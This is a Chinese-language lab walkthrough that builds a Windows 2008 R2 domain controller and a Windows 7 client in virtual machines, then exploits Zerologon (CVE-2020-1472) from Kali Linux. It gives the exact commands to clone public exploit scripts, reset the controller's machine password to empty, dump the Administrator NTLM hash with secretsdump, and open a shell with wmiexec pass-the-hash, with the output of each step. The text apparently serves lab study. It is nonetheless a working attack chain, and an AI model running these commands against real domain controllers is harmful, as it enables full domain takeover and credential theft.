猫宁~~~
虚拟机上进行
安装windows 2008 R2
查看服务器ip
本地连接属性，取消ipv6，ip设置为192.168.43.158，子网掩码255.255.255.0，网关192.168.43.1，DNS设置192.168.43.1
打开初始配置任务，添加服务器角色，选择active directory域服务
dcpromo，开启active directory域服务安装向导，新林中新建域，输入域名www.pjzhang.com，密码设置123.aaa，重启计算机
安装windows 7
本地连接属性，取消ipv6，ip设置为192.168.43.241，子网掩码255.255.255.0，网关192.168.43.1，DNS设置192.168.43.158
计算机属性，更改设置，计算机名更改，隶属于域中填写www.pjzhang.com，账号密码administrator/123.aaa，重启计算机
https://github.com/SecuraBV/CVE-2020-1472
git clone https://github.com/SecuraBV/CVE-2020-1472.git
kali linux攻击机
apt-get install python3-pip
pip3 install -r requirements.txt
计算机属性查看windows 2008 r2的计算机名
python3 zerologon_tester.py WIN-U2A9B1M49R3 192.168.43.158
显示Success! DC can be fully compromised by a Zerologon attack.
https://github.com/dirkjanm/CVE-2020-1472
git clone https://github.com/dirkjanm/CVE-2020-1472.git
python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
报错
Unexpected error: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'.
git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket/
pip3 install . 点代表目录
python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
显示Exploit complete!，域控密码修改为空
cd impacket/examples
python3 secretsdump.py WIN-U2A9B1M49R3$@192.168.43.158 -no-pass
注意上方的反斜杠
获得Administrator:500:aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d:::
cd impacket/examples
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d Administrator@192.168.43.158
连接上域控C:>
显示
C:>whoami
wwwadministrator